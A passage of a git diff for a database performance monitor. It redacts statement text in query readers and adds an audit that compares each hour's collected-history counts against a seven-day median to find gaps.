         using (var reader = await cmd.ExecuteReaderAsync(context.CancellationToken))
@@ -213,9 +213,9 @@ stored before #4005 holds its SQL raw. In that order because a cut first can lan
                    it. The read's own bound is past anything the lexer reads, so what it cuts is withheld whole
                    whichever way round. The flags say whether the caps cut what the reader is shown. */
                 var victimRead = reader.IsDBNull(9) ? null : reader.GetString(9);
-                var victimNormalized = PgDeadlockLogParser.NormalizeStatement(victimRead);
+                var victimNormalized = SensitiveStatements.Text(PgDeadlockLogParser.NormalizeStatement(victimRead));
                 var victimStatement = victimNormalized is { Length: > StatementTextCap } ? victimNormalized[..StatementTextCap] : victimNormalized;
-                var graphNormalized = PgDeadlockLogParser.NormalizeGraph(reader.IsDBNull(11) ? null : reader.GetString(11));
+                var graphNormalized = SensitiveStatements.Text(PgDeadlockLogParser.NormalizeGraph(reader.IsDBNull(11) ? null : reader.GetString(11)));
                 var graphCharCut = graphNormalized is { Length: > GraphTextCharCap };
                 var (boundedGraph, graphLines, graphTruncated) = BoundGraphText(
                     graphCharCut ? graphNormalized![..GraphTextCharCap] : graphNormalized, readCut: graphCharCut);
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Queries.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Queries.cs
index 7a8083c7cc..ba4b552eac 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Queries.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Queries.cs
@@ -32,8 +32,8 @@ public sealed partial class PgTargetDrillDownCollector
 
     /// <summary>
     /// The statements that wrote the most temp blocks in the window, for a <c>PG_TEMP_SPILL</c> root (lane 6 of
-    /// #3542): <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> the row cap, <c>$5</c> the
-    /// text cap. <c>temp_blks_written</c> is a lifetime counter on <c>pg_statement_stats</c>, so it is
+    /// #3542): <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> the row cap. The text comes back whole and the reader judges it, then cuts it to
+    /// <see cref="StatementTextCap"/> (#5320). <c>temp_blks_written</c> is a lifetime counter on <c>pg_statement_stats</c>, so it is
     /// differenced the way <see cref="PgTargetBadActorDetailSql"/> differences the block counters —
     /// <c>GREATEST(x − LAG(x), 0)</c> over the full series identity — and summed per <c>queryid</c>; the calls
     /// and time beside it are the stored deltas, so the reader can see whether the spill is one heavy report or
@@ -70,7 +70,7 @@ ORDER BY collection_time
     CAST(COALESCE(SUM(s.delta_calls), 0) AS bigint)              AS calls,
     CAST(COALESCE(SUM(s.delta_total_exec_time_ms), 0) AS bigint) AS total_exec_ms,
     COUNT(DISTINCT s.database_id)                                AS database_count,
-    LEFT(MAX(t.query_text), $5)                                  AS query_text,
+    MAX(t.query_text)                                            AS query_text,
     hashtext(MAX(t.query_text))                                  AS text_hash
 FROM stmt_series AS s
 LEFT JOIN pg_statement_text AS t
@@ -84,8 +84,8 @@ ORDER BY SUM(s.d_temp_blks_written) DESC
     /// <summary>
     /// One statement's window, for a <c>PG_BAD_ACTOR_&lt;queryid&gt;</c> root or leaf: the deltas the fact was
     /// graded on, the block figures the fact does not carry, the per-database breakdown, and the normalised
-    /// text with its hash. <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> queryid,
-    /// <c>$5</c> the text cap.
+    /// text with its hash. <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> queryid. The text comes back whole and the reader judges it, then cuts it to
+    /// <see cref="StatementTextCap"/> (#5320).
     ///
     /// <para>The same differencing as the collector's read and <c>DarlingPgStatementReader.PgTopQueriesSql</c>:
     /// stored deltas for calls / time / rows, <c>GREATEST(x − LAG(x), 0)</c> over the full series identity
@@ -149,7 +149,7 @@ GROUP BY database_id
     (SELECT array_agg(pd.database_id ORDER BY pd.total_exec_ms DESC) FROM per_database AS pd)   AS database_ids,
     (SELECT array_agg(pd.calls ORDER BY pd.total_exec_ms DESC) FROM per_database AS pd)         AS database_calls,
     (SELECT array_agg(pd.total_exec_ms ORDER BY pd.total_exec_ms DESC) FROM per_database AS pd) AS database_total_exec_ms,
-    LEFT(MAX(t.query_text), $5)                                  AS query_text,
+    MAX(t.query_text)                                            AS query_text,
     hashtext(MAX(t.query_text))                                  AS text_hash,
     MAX(t.first_seen)                                            AS text_first_seen
 FROM stmt_series AS s
@@ -222,7 +222,6 @@ private async Task<List<object>> ReadTempSpillStatementsAsync(AnalysisContext co
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeStart));
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
         cmd.Parameters.AddWithValue(TempSpillStatementCap);
-        cmd.Parameters.AddWithValue(StatementTextCap);
 
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
         while (await reader.ReadAsync(context.CancellationToken))
@@ -244,7 +243,7 @@ private async Task<List<object>> ReadTempSpillStatementsAsync(AnalysisContext co
                 temp_blks_written_per_call = calls > 0 ? Math.Round((double)tempBlksWritten / calls, 2) : (double?)null,
                 database_count = reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
                 /* Null when no text has been captured for this queryid yet — never "". */
-                query_text = reader.IsDBNull(6) ? null : reader.GetString(6),
+                query_text = reader.IsDBNull(6) ? null : AnalysisStatementText.Preview(reader.GetString(6), StatementTextCap),
                 text_hash = reader.IsDBNull(7) ? (int?)null : Convert.ToInt32(reader.GetValue(7)),
             });
         }
@@ -259,7 +258,6 @@ private async Task<List<object>> ReadTempSpillStatementsAsync(AnalysisContext co
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeStart));
         cmd.Parameters.AddWithValue(AsNaive(context.TimeRangeEnd));
         cmd.Parameters.AddWithValue(queryId);
-        cmd.Parameters.AddWithValue(StatementTextCap);
 
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
         if (!await reader.ReadAsync(context.CancellationToken))
@@ -298,7 +296,7 @@ does not survive a JSON number decoded as a double. */
                 total_exec_ms = i < databaseTotals.Length ? databaseTotals[i] : 0L,
             }).ToList(),
             /* Null when no text has been captured for this queryid yet — never "". */
-            query_text = reader.IsDBNull(15) ? null : reader.GetString(15),
+            query_text = reader.IsDBNull(15) ? null : AnalysisStatementText.Preview(reader.GetString(15), StatementTextCap),
             text_hash = reader.IsDBNull(16) ? (int?)null : Convert.ToInt32(reader.GetValue(16)),
             text_first_seen = reader.IsDBNull(17) ? null : reader.GetDateTime(17).ToString("o", CultureInfo.InvariantCulture),
             queryid_note = "queryid is stable within a PostgreSQL major and re-keyed by a major upgrade or a compute_query_id change; text_hash is the hash of the normalised text and is how the same statement is recognised across that re-key.",
diff --git a/Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Plans.cs b/Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Plans.cs
index e43a9c1928..65f5d3b26f 100644
--- a/Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Plans.cs
+++ b/Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Plans.cs
@@ -222,7 +222,8 @@ LIMIT 1
        (SELECT state FROM qualstats)        AS pg_qualstats_state";
 
     /// <summary>
-    /// Every statement captured under at least two distinct <c>plan_hash</c> values in the window, with its stored
+    /// Every statement captured under at least two distinct plan shapes (<c>plan_hash</c> is a hash of the plan's
+    /// shape, so estimates and runtime counters never make a second one, #5114) in the window, with its stored
     /// <c>pg_statement_stats</c> deltas split at the flip — the read behind <c>PG_PLAN_REGRESSION</c>. <c>$1</c>
     /// server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> the row cap (<see cref="PlanFlipCandidateCount"/>),
     /// <c>$5</c>/<c>$6</c>/<c>$7</c> the scorer's bars (calls per side, delta ms, concerning ratio).
@@ -376,7 +377,8 @@ ELSE 2
 LIMIT $4";
 
     /// <summary>
-    /// Every statement captured under at least <c>$6</c> distinct <c>plan_hash</c> values in the window, with the most
+    /// Every statement captured under at least <c>$6</c> distinct plan shapes (<c>plan_hash</c> values, a hash of the
+    /// plan's shape, #5114) in the window, with the most
     /// skewed of the predicate columns <c>pg_qualstats</c> recorded for it — the read behind
     /// <c>PG_PARAMETER_SENSITIVITY</c>. <c>$1</c> server_id, <c>$2</c>/<c>$3</c> window (naive UTC), <c>$4</c> the
     /// state lookback days (<see cref="PlanStateLookbackDays"/>), <c>$5</c> the row cap
diff --git a/Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs b/Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs
index 2b1e45633a..65eaf9a6bb 100644
--- a/Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs
@@ -245,7 +245,8 @@ template. Same 200-with-notes degrade every other empty/stale link on this endpo
                 body["scope_server"] = scopeServer;
             }
 
-            return Results.Text(body.ToJsonString(), "application/json");
+            /* #4348: the notebook's own body carries the alert row's text, so it is swept whole. */
+            return DarlingWebStatementSweep.JsonText(body, "/api/alert-notebook", logger, 0);
         });
     }
 
@@ -1318,9 +1319,8 @@ private static JsonObject AlertRowNode(DarlingAlertReader.AlertHistoryReadRow ro
         return node;
     }
 
-    private static string? Query(HttpContext context, string key)
-    {
-        var value = context.Request.Query[key].ToString();
-        return string.IsNullOrEmpty(value) ? null : value;
-    }
+    /// <summary>The first non-empty value for a query key, or null — the read surface's binding rule, which this
+    /// calls rather than restates (#5245: a repeated key is its first value, not the values joined by a comma).</summary>
+    internal static string? Query(HttpContext context, string key) =>
+        DarlingWebEndpoints.First(context, key);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/CollectionHistoryAudit.cs b/Darling/PerformanceMonitor.Darling.Service/CollectionHistoryAudit.cs
new file mode 100644
index 0000000000..44c81c4d59
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/CollectionHistoryAudit.cs
@@ -0,0 +1,466 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The daily retained-history audit (#5450, proposal 3): the pure half. For each source the store keeps, the
+/// audited UTC day's per-hour counts are compared with the median of the seven days before it, for the same hour
+/// of day, so the daily load curve is the yardstick. An hour is flagged when a count is under half of usual.
+///
+/// <para><b>Two kinds of source, two tests.</b> The live hourly aggregates
+/// (<see cref="TimescaleSupport.HourlyAggregates"/>, less <see cref="UnauditedHourlyViews"/>) are QUERY-WORKLOAD rollups: a row exists only for a query or
+/// plan that ran, and their <c>sample_count</c> moves with the workload, so a quiet weekend would read as a
+/// failure. They get the SERVER-COUNT half test only: presence, which catches a hole (a stopped collector, a
+/// rollup whose refresh stopped). The perfmon baseline
+/// (<see cref="TimescaleSupport.PerfmonIntervalBaselineView"/>) has one row per server per perfmon collection pass,
+/// whatever the workload, so it also gets the COLLECTION-PASS half test: per hour, <c>COUNT(*)</c> is the
+/// collection passes and <c>COUNT(DISTINCT server_id)</c> the servers. That is the detector for case 2 of the
+/// issue, where rows arrived every hour and only the volume fell (collection passes at 20% of usual).</para>
+///
+/// <para><b>Two read shapes (#5461).</b> Most sources are read by one <c>GROUP BY bucket</c> pass over the window
+/// (<see cref="ReadShape.Scan"/>, 0.02-4.6 s on the largest store). The two big Query Store rollups, which a scan
+/// timed out on, are read by per-server per-hour index probes (<see cref="ReadShape.Probe"/>, see
+/// <see cref="BuildProbeSql"/>). The third Query Store hourly is covered by those two (see
+/// <see cref="UnauditedHourlyViews"/>).</para>
+///
+/// <para><b>Only servers enabled now.</b> Every count, on the audited day and the seven before it, counts only
+/// servers that are enabled now (<c>config.config_monitored_servers.is_enabled</c>). A server removed or disabled
+/// on purpose then leaves "usual" and "actual" alike, instead of flagging for the four days it takes the median
+/// to catch up.</para>
+///
+/// <para><b>Usual.</b> The median over the prior days that have ANY rows in this source. A day with no rows at all
+/// is a store that was not building the source yet (or an earlier outage), not a day of usual, and counting it as
+/// zero would drag the median down and hide the next hole. An hour missing inside a day that has rows counts as
+/// zero, which is the hole the audit exists to find. A source with fewer than <see cref="MinimumPriorDays"/> such
+/// days has no usual yet and is skipped. An hour flags only when its usual is at least 1: with an even number of
+/// prior days a median of 0.5 would otherwise let one quiet hour flag on a small fleet.</para>
+///
+/// <para><b>Ready.</b> The audit runs at 03:00Z or later and always judges hour 23. A source is ready when it has
+/// ANY bucket at or after the audited day's 23:00 bucket (<see cref="IsSettled"/>), read up to the current hour, so
+/// a genuine hole at 23:00, including one that runs past midnight, is told apart from a bucket not materialized yet
+/// as soon as collection resumes. A source that is not ready is retried like a failed read, and keeps what it
+/// flagged: at the give-up those hours reach the alert, marked as not complete.</para>
+///
+/// <para><b>Plain PostgreSQL.</b> A plain-PostgreSQL store builds no continuous aggregates, so every relation is
+/// absent there and the audit quietly does nothing. The three frozen legacy hourlies are not audited: they stopped
+/// advancing at #3653 (LC), so auditing them would flag every day.</para>
+/// </summary>
+internal static class CollectionHistoryAudit
+{
+    /// <summary>The days before the audited day that make up "usual".</summary>
+    internal const int PriorDays = 7;
+
+    /// <summary>The fewest prior days with data a source needs before it is audited.</summary>
+    internal const int MinimumPriorDays = 3;
+
+    /// <summary>An hour is flagged when a count is under this fraction of its usual.</summary>
+    internal const double ShortfallFraction = 0.5;
+
+    /// <summary>The audit runs on the first pass at or after this time of day (UTC), for the previous UTC day.
+    /// By 03:00Z the heaviest rollup (refreshed at :15 past 01:00Z) and the hierarchical corrected rollup (refreshed
+    /// at 02:0X) have both materialized the audited day's last hour.</summary>
+    internal static readonly TimeSpan DueTimeOfDay = TimeSpan.FromHours(3);
+
+    /// <summary>The audit read's own deadline, longer than the 10 s alert-pass reads because it covers eight days. It stays 60 s: the redesigned read (#5461) is what fits it, not a longer deadline.</summary>
+    internal const int CommandTimeoutSeconds = 60;
+
+    /// <summary>How a source is read (#5461, big-store timing).</summary>
+    internal enum ReadShape
+    {
+        /// <summary>One <c>GROUP BY bucket</c> pass over the window: right for a source that reads in seconds.</summary>
+        Scan,
+
+        /// <summary>Per-server, per-hour existence probes against the <c>(server_id, bucket)</c> index the
+        /// materialization keeps: right for the two big Query Store rollups, where the scan timed out.</summary>
+        Probe,
+    }
+
+    /// <summary>One source to audit: its relation, whether it is judged on collection passes (a row per
+    /// server per pass) as well as on servers, and how it is read. A <see cref="ReadShape.Probe"/> source never
+    /// judges passes, because a probe only learns whether a server has a row in an hour.</summary>
+    internal sealed record Rollup(string Relation, bool JudgesPasses, ReadShape Shape = ReadShape.Scan);
+
+    /// <summary>One hour bucket read from a source: distinct servers, and rows (collection passes) in it. Passes
+    /// is 0 for a source that does not judge them.</summary>
+    internal readonly record struct HourBucket(DateTime HourUtc, int Servers, long Passes);
+
+    /// <summary>
+    /// Consecutive flagged hours. <see cref="EndHour"/> is exclusive, so hours 18, 19 and 20 are 18:00-21:00Z.
+    /// The counts are the lowest the range's hours reached for each test, each with the usual for that same hour.
+    /// </summary>
+    internal sealed record FlaggedRange(
+        int StartHour, int EndHour, int LowestServers, double UsualServers, long LowestPasses, double UsualPasses);
+
+    /// <summary>The hourly aggregate the audit does NOT read directly, and why (#5461): its materialization keeps
+    /// only the bucket index on purpose (#3597 measured per-column indexes as a 4.3x refresh tax), so a probe
+    /// cannot use an index and a scan of its 10-17 GB times out. It is covered by the two sources that are read.
+    /// Its same-width child, <see cref="TimescaleSupport.QueryStoreStatsCorrectedHourlyView"/>, is
+    /// <c>time_bucket('1 hour', bucket)</c> over it with no filter, and
+    /// <see cref="TimescaleSupport.QueryStoreStatsHourlyView"/> reads the same raw table
+    /// (<c>collect.query_store_stats</c>) with no filter, so a server missing from this view in an hour is missing
+    /// from both of those too, and a refresh that stopped here stops the child too. The pins in
+    /// <c>CollectionHistoryAuditTests</c> fail if any of those three shapes changes.</summary>
+    internal static readonly IReadOnlySet<string> UnauditedHourlyViews = new HashSet<string>(StringComparer.Ordinal)
+    {
+        TimescaleSupport.QueryStoreStatsIntervalHourlyView,
+    };
+
+    /// <summary>The two hourly views read by <see cref="ReadShape.Probe"/>: each keeps a <c>(server_id, bucket)</c>
+    /// index on its materialization (<c>TimescaleSupport.Create...KeptIndexesSql</c>). Both are
+    /// <c>materialized_only = true</c> (confirmed in <c>timescaledb_information.continuous_aggregates</c>), so a
+    /// probe reads the materialization alone and never the real-time union with the raw table.</summary>
+    internal static readonly IReadOnlySet<string> ProbedHourlyViews = new HashSet<string>(StringComparer.Ordinal)
+    {
+        TimescaleSupport.QueryStoreStatsHourlyView,
+        TimescaleSupport.QueryStoreStatsCorrectedHourlyView,
+    };
+
+    /// <summary>The audited sources: the live hourly aggregates (servers only) except
+    /// <see cref="UnauditedHourlyViews"/>, then the perfmon baseline (servers and collection passes). Derived from
+    /// the store's own lists.</summary>
+    internal static IReadOnlyList<Rollup> Rollups { get; } = TimescaleSupport.HourlyAggregates
+        .Where(a => !UnauditedHourlyViews.Contains(a.View))
+        .Select(a => new Rollup(
+            "collect." + a.View, false, ProbedHourlyViews.Contains(a.View) ? ReadShape.Probe : ReadShape.Scan))
+        .Append(new Rollup("collect." + TimescaleSupport.PerfmonIntervalBaselineView, true))
+        .ToArray();
+
+    private static readonly Regex s_relation = new(
+        "^[a-z_][a-z0-9_]*(\\.[a-z_][a-z0-9_]*)?$", RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    /// <summary>
+    /// The one statement per source, over servers enabled now only. $1 is the first bucket read and $2 the end,
+    /// exclusive; both are bound as <c>timestamp</c> (the views' <c>bucket</c> type, see
+    /// <see cref="ReadAsync"/>). A <see cref="ReadShape.Scan"/> source is one <c>GROUP BY bucket</c> pass with a
+    /// time-range predicate on <c>bucket</c> so chunk exclusion applies. A <see cref="ReadShape.Probe"/> source is
+    /// read by existence probes, see <see cref="BuildProbeSql"/>.
+    /// </summary>
+    internal static string BuildSql(Rollup rollup)
+    {
+        if (!s_relation.IsMatch(rollup.Relation))
+        {
+            throw new ArgumentException("Not a plain relation name: " + rollup.Relation, nameof(rollup));
+        }
+
+        if (rollup.Shape == ReadShape.Probe)
+        {
+            return BuildProbeSql(rollup);
+        }
+
+        var passes = rollup.JudgesPasses ? "COUNT(*)::bigint" : "0::bigint";
+        return $@"
+SELECT r.bucket, COUNT(DISTINCT r.server_id)::int, {passes}
+FROM {rollup.Relation} AS r
+JOIN config.config_monitored_servers AS c
+  ON c.server_id = r.server_id
+ AND c.is_enabled
+WHERE r.bucket >= $1
+AND   r.bucket <  $2
+GROUP BY r.bucket";
+    }
+
+    /// <summary>
+    /// The probe read (#5461): one hour bucket per hour of the window from <c>generate_series</c>, crossed with the
+    /// enabled servers, and for each pair a <c>LEFT JOIN LATERAL</c> that asks whether the view has ANY row for that
+    /// server in that hour. That is one index lookup on the materialization's <c>(server_id, bucket)</c> index per
+    /// pair (about 200 hours times the fleet), where the <c>COUNT(DISTINCT)</c> scan read every row of an 8-day
+    /// window of a 10-17 GB rollup and timed out at the 60 s deadline.
+    ///
+    /// <para><b>The <c>LIMIT 1</c> inside the lateral subquery is load-bearing.</b> Without it the planner is free to
+    /// flatten the lateral into a semi join and read the whole range; with it, each probe stops at its first row.
+    /// Keep it.</para>
+    ///
+    /// <para><b>The series is a <c>timestamp</c> series, as the views' <c>bucket</c> column is.</b> A
+    /// <c>timestamptz</c> series would compare across types and can keep the index from being used, so both
+    /// parameters are cast to <c>timestamp</c> and the caller binds them as such.</para>
+    ///
+    /// <para><b>An hour no enabled server has a row in is absent, as in the scan.</b> The scan returns no row for
+    /// a bucket with no rows; the probe would return it with 0, and <see cref="IsSettled"/> counts any bucket at or
+    /// after the day's 23:00 as settled, so a zero row would mark a hole as materialized. <c>HAVING COUNT(p.one) &gt; 0</c>
+    /// drops those hours, so the two shapes return the same result.</para>
+    /// </summary>
+    internal static string BuildProbeSql(Rollup rollup) => $@"
+SELECT h.bucket, COUNT(p.one)::int, 0::bigint
+FROM generate_series($1::timestamp, $2::timestamp, INTERVAL '1 hour') AS h(bucket)
+CROSS JOIN config.config_monitored_servers AS c
+LEFT JOIN LATERAL (
+    SELECT 1 AS one
+    FROM {rollup.Relation} AS r
+    WHERE r.server_id = c.server_id
+    AND   r.bucket = h.bucket
+    LIMIT 1
+) AS p ON true
+WHERE c.is_enabled
+AND   h.bucket < $2::timestamp
+GROUP BY h.bucket
+HAVING COUNT(p.one) > 0";
+
+    /// <summary>The first bucket the audit reads for <paramref name="auditDayUtc"/>: seven days before it.</summary>
+    internal static DateTime ReadFrom(DateTime auditDayUtc) => auditDayUtc.Date.AddDays(-PriorDays);
+
+    /// <summary>
+    /// The earliest end (exclusive) of what the audit reads: one hour past the audited day, so the next day's 00:00
+    /// bucket is in the read. The read itself ends later, at the current hour (<see cref="ReadTo(DateTime, DateTime)"/>).
+    /// </summary>
+    internal static DateTime ReadTo(DateTime auditDayUtc) => auditDayUtc.Date.AddDays(1).AddHours(1);
+
+    /// <summary>
+    /// The end (exclusive) of what the audit reads: the current hour (<paramref name="nowUtc"/> truncated to the
+    /// hour, so only whole buckets), never earlier than <see cref="ReadTo(DateTime)"/>. Readiness
+    /// (<see cref="IsSettled"/>) looks for ANY bucket at or after the audited day's 23:00 bucket, so a hole that
+    /// runs past 01:00Z (an outage from 22:30Z to 01:30Z) is told apart from a bucket not materialized yet as soon as
+    /// collection resumes, instead of never (H1 of the #5461 round 2 review: with the read fixed at 01:00Z the
+    /// later buckets that prove the hole real were outside it, so the whole day stayed "not ready"). Analyze ignores
+    /// every bucket after the audited day, so reading further changes no count.
+    /// </summary>
+    internal static DateTime ReadTo(DateTime auditDayUtc, DateTime nowUtc)
+    {
+        var floor = ReadTo(auditDayUtc);
+        var currentHour = DateTime.SpecifyKind(nowUtc.Date.AddHours(nowUtc.Hour), DateTimeKind.Utc);
+        return currentHour > floor ? currentHour : floor;
+    }
+
+    /// <summary>
+    /// True when the source has ANY bucket at or after the audited day's 23:00 bucket (up to the current hour, see
+    /// <see cref="ReadTo(DateTime, DateTime)"/>): the day's last hour had its chance to materialize. A source that is not settled is "not ready" and is handled like a failed read.
+    /// </summary>
+    internal static bool IsSettled(DateTime auditDayUtc, IReadOnlyList<HourBucket> buckets)
+    {
+        var lastHour = auditDayUtc.Date.AddHours(23);
+        return buckets.Any(b => b.HourUtc >= lastHour);
+    }
+
+    /// <summary>
+    /// Reads one source's hour buckets, or null when the relation does not exist (a plain-PostgreSQL store, or an
+    /// aggregate not built yet). The existence check is a catalog lookup; the aggregate is the one heavy read.
+    /// </summary>
+    internal static async Task<IReadOnlyList<HourBucket>?> ReadAsync(
+        NpgsqlDataSource postgres, Rollup rollup, DateTime fromUtc, DateTime toUtc, CancellationToken cancellationToken)
+    {
+        var sql = BuildSql(rollup);
+        await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+
+        await using (var exists = new NpgsqlCommand("SELECT to_regclass($1) IS NOT NULL", connection)
+        { CommandTimeout = CommandTimeoutSeconds })
+        {
+            exists.Parameters.AddWithValue(rollup.Relation);
+            if (await exists.ExecuteScalarAsync(cancellationToken) is not true)
+            {
+                return null;
+            }
+        }
+
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = CommandTimeoutSeconds };
+        /* The column is a timestamp written as UTC; Npgsql refuses a Kind=Utc value for it, so bind it Unspecified. */
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(fromUtc, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(toUtc, DateTimeKind.Unspecified) });
+
+        var buckets = new List<HourBucket>();
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            buckets.Add(new HourBucket(
+                DateTime.SpecifyKind(reader.GetDateTime(0), DateTimeKind.Utc),
+                reader.GetInt32(1),
+                reader.GetInt64(2)));
+        }
+
+        return buckets;
+    }
+
+    /// <summary>
+    /// The median of <paramref name="values"/>: the middle one, or the mean of the middle two. Zero for none.
+    /// </summary>
+    internal static double Median(IReadOnlyList<long> values)
+    {
+        if (values.Count == 0)
+        {
+            return 0;
+        }
+
+        var sorted = values.OrderBy(v => v).ToArray();
+        var mid = sorted.Length / 2;
+        return sorted.Length % 2 == 1 ? sorted[mid] : (sorted[mid - 1] + sorted[mid]) / 2.0;
+    }
+
+    /// <summary>
+    /// The flagged ranges for the audited day, or null when the rollup has fewer than
+    /// <see cref="MinimumPriorDays"/> prior days with rows (no usual yet). Empty means audited and clean.
+    /// All 24 hours are judged, hour 23 included; whether the source had its chance to materialize hour 23 is
+    /// <see cref="IsSettled"/>, which the caller checks.
+    /// </summary>
+    internal static IReadOnlyList<FlaggedRange>? Analyze(DateTime auditDayUtc, IReadOnlyList<HourBucket> buckets)
+    {
+        var auditDay = auditDayUtc.Date;
+        var byHour = new Dictionary<DateTime, HourBucket>();
+        foreach (var bucket in buckets)
+        {
+            byHour[bucket.HourUtc] = bucket;
+        }
+
+        var priorDaysWithData = new List<DateTime>();
+        for (var d = 1; d <= PriorDays; d++)
+        {
+            var day = auditDay.AddDays(-d);
+            var hasRows = buckets.Any(b => b.HourUtc.Date == day && (b.Servers > 0 || b.Passes > 0));
+            if (hasRows)
+            {
+                priorDaysWithData.Add(day);
+            }
+        }
+
+        if (priorDaysWithData.Count < MinimumPriorDays)
+        {
+            return null;
+        }
+
+        var flagged = new List<(int Hour, int Servers, double UsualServers, long Passes, double UsualPasses)>();
+        for (var hour = 0; hour <= 23; hour++)
+        {
+            var servers = new List<long>();
+            var passes = new List<long>();
+            foreach (var day in priorDaysWithData)
+            {
+                if (byHour.TryGetValue(day.AddHours(hour), out var prior))
+                {
+                    servers.Add(prior.Servers);
+                    passes.Add(prior.Passes);
+                }
+                else
+                {
+                    servers.Add(0);
+                    passes.Add(0);
+                }
+            }
+
+            var usualServers = Median(servers);
+            var usualPasses = Median(passes);
+            byHour.TryGetValue(auditDay.AddHours(hour), out var actual);
+
+            /* L3 (review of #5461): usual must be at least 1, so an even-count median of 0.5 cannot flag a quiet hour. */
+            var serversLow = usualServers >= 1 && actual.Servers < ShortfallFraction * usualServers;
+            var passesLow = usualPasses >= 1 && actual.Passes < ShortfallFraction * usualPasses;
+            if (serversLow || passesLow)
+            {
+                flagged.Add((hour, actual.Servers, usualServers, actual.Passes, usualPasses));
+            }
+        }
+
+        return MergeRanges(flagged);
+    }
+
+    private static List<FlaggedRange> MergeRanges(
+        List<(int Hour, int Servers, double UsualServers, long Passes, double UsualPasses)> flagged)
+    {
+        var ranges = new List<FlaggedRange>();
+        var i = 0;
+        while (i < flagged.Count)
+        {
+            var j = i;
+            while (j + 1 < flagged.Count && flagged[j + 1].Hour == flagged[j].Hour + 1)
+            {
+                j++;
+            }
+
+            var group = flagged.GetRange(i, j - i + 1);
+            var lowServers = group.OrderBy(h => h.Servers).First();
+            var lowPasses = group.OrderBy(h => h.Passes).First();
+            ranges.Add(new FlaggedRange(
+                group[0].Hour, group[^1].Hour + 1,
+                lowServers.Servers, lowServers.UsualServers, lowPasses.Passes, lowPasses.UsualPasses));
+            i = j + 1;
+        }
+
+        return ranges;
+    }
+
+    /// <summary>The rollup's name without its schema, for text.</summary>
+    internal static string DisplayName(Rollup rollup)
+    {
+        var dot = rollup.Relation.IndexOf('.', StringComparison.Ordinal);
+        return dot < 0 ? rollup.Relation : rollup.Relation[(dot + 1)..];
+    }
+
+    /// <summary>One range as <c>18:00-21:00Z</c>; the end hour 24 reads <c>24:00Z</c>.</summary>
+    internal static string RangeLabel(FlaggedRange range) =>
+        string.Create(CultureInfo.InvariantCulture, $"{range.StartHour:00}:00-{range.EndHour:00}:00Z");
+
+    /// <summary>The distinct hours of the day flagged by any source in <paramref name="findings"/> (L2 of the #5461
+    /// round 2 review: one outage that thins seven sources is that many hours, not seven times as many).</summary>
+    internal static int FlaggedHours(IEnumerable<(Rollup Rollup, IReadOnlyList<FlaggedRange> Ranges)> findings) =>
+        findings.SelectMany(f => f.Ranges)
+            .SelectMany(r => Enumerable.Range(r.StartHour, r.EndHour - r.StartHour))
+            .Distinct()
+            .Count();
+
+    /// <summary>
+    /// The alert's text: the day, then the flagged ranges with the counts against usual, one line for all the
+    /// sources whose flagged ranges are identical (the two Query Store rollups share one signal), then any
+    /// source that could not be read for this day. A source in <paramref name="incomplete"/> had not caught up to the
+    /// end of the day when the audit gave up: its ranges are judged on what it held, and are marked as not complete.
+    /// </summary>
+    internal static string Render(
+        DateTime auditDayUtc, IReadOnlyList<(Rollup Rollup, IReadOnlyList<FlaggedRange> Ranges)> findings,
+        IReadOnlyList<Rollup>? unread = null, IReadOnlySet<string>? incomplete = null)
+    {
+        var text = new StringBuilder();
+        text.Append(CultureInfo.InvariantCulture,
+            $"Retained history for {auditDayUtc:yyyy-MM-dd} (UTC) fell below half of the usual pace for that hour in {findings.Count} source(s), ")
+            .Append("where usual is the median of the 7 days before and only servers enabled now are counted. ");
+
+        var groups = new List<(bool JudgesPasses, bool Incomplete, List<Rollup> Sources, IReadOnlyList<FlaggedRange> Ranges)>();
+        foreach (var (rollup, ranges) in findings)
+        {
